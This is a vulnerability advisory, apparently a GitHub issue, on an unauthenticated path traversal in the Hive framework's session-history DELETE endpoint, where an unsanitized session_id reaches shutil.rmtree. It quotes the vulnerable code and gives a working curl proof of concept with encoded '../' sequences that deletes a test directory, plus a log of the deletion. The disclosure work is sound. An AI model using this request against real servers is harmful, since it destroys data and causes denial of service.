Arbitrary Directory Deletion via Path Traversal in Session History API

ISSUE-Github-REPORT-Path_Traversal.md

Advisory Details

Title: Arbitrary Directory Deletion via Path Traversal in Session History API

Description:

Summary

A path traversal vulnerability exists in the Hive framework's session history deletion endpoint (DELETE /api/sessions/history/{session_id}). Unlike other endpoints, this API fails to sanitize the session_id parameter, allowing an unauthenticated attacker to supply URL-encoded traversal sequences (e.g., %2E%2E%2F) to escape the intended session directory. As a result, an external attacker can arbitrarily delete any directory on the host filesystem that the application process has permissions to access, leading to severe data destruction and Denial of Service (DoS).

Details

The root cause lies in the handle_delete_history_session handler within core/framework/server/routes_sessions.py.

async def handle_delete_history_session(request: web.Request) -> web.Response:
    # ...
    session_id = request.match_info["session_id"]

    # Delete the queen session directory from disk
    queen_session_dir = Path.home() / ".hive" / "queen" / "session" / session_id
    if queen_session_dir.exists() and queen_session_dir.is_dir():
        try:
            shutil.rmtree(queen_session_dir)
        except OSError as e:
            # ...

The route extracts the session_id directly from request.match_info without passing it through the standard safe_path_segment sanitization function. Since aiohttp automatically decodes URL-encoded path segments during routing, a payload containing %2E%2E%2F evaluates to ../. When concatenated with Path.home() / ".hive" / "queen" / "session", the path resolution traverses up the directory tree, resolving to a completely unintended absolute directory. The application then blindly invokes shutil.rmtree() on the resolved path, destroying the targeted directory recursively.

PoC

The following instructions demonstrate how to exploit the vulnerability to securely delete a mock directory (/tmp/pwned) from a running instance.

1. Create a simulated sensitive directory on the server where the Hive application is running: mkdir -p /tmp/pwned
2. Ensure the Hive application has run at least once to create the base .hive directory structure: mkdir -p ~/.hive/queen/session
3. As an external unauthenticated attacker, execute the following curl command. The payload calculates a generic depth (4 layers up from the session directory to the filesystem root) and appends our target: curl -X DELETE "http://127.0.0.1:8006/api/sessions/history/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Ftmp%2Fpwned"
4. Verify on the server that the /tmp/pwned directory has been completely deleted.

Log of Evidence

$ mkdir -p /tmp/pwned
$ ls -ld /tmp/pwned
drwxr-xr-x 2 root root 4096 Mar 19 18:44 /tmp/pwned

$ curl -v -X DELETE "http://127.0.0.1:8006/api/sessions/history/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Ftmp%2Fpwned"
*   Trying 127.0.0.1:8006...
* Connected to 127.0.0.1 (127.0.0.1) port 8006 (#0)
> DELETE /api/sessions/history/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Ftmp%2Fpwned HTTP/1.1
> Host: 127.0.0.1:8006
> User-Agent: curl/7.81.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: application/json; charset=utf-8
< Content-Length: 35
< Date: Fri, 20 Mar 2026 02:44:00 GMT
< Server: Python/3.11 aiohttp/3.8.4
< 
* Connection #0 to host 127.0.0.1 left intact
{"deleted": "../../../../tmp/pwned"}

$ ls -ld /tmp/pwned
ls: cannot access '/tmp/pwned': No such file or directory

Impact

Unauthenticated Arbitrary Directory Deletion. A malicious actor can exploit this vulnerability to achieve:

• Denial of Service (DoS): By deleting application dependencies, running states, or configurations, forcing the application or system to crash entirely.
• Data Destruction: By targeting system databases, file logs, user datasets, or training models stored anywhere on the host that is accessible to the current process user.

Affected products

• Ecosystem: Python (PyPI)
• Package name: hive
• Affected versions: All current unpatched versions
• Patched versions:

Severity

• Severity: Critical
• Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H

Weaknesses

• CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Occurrences

Permalink	Description
https://github.com/adenhq/hive/blob/main/core/framework/server/routes_sessions.py#L866-L885	The vulnerable handle_delete_history_session method that extracts session_id continuously skipping safe_path_segment execution and feeding it to shutil.rmtree.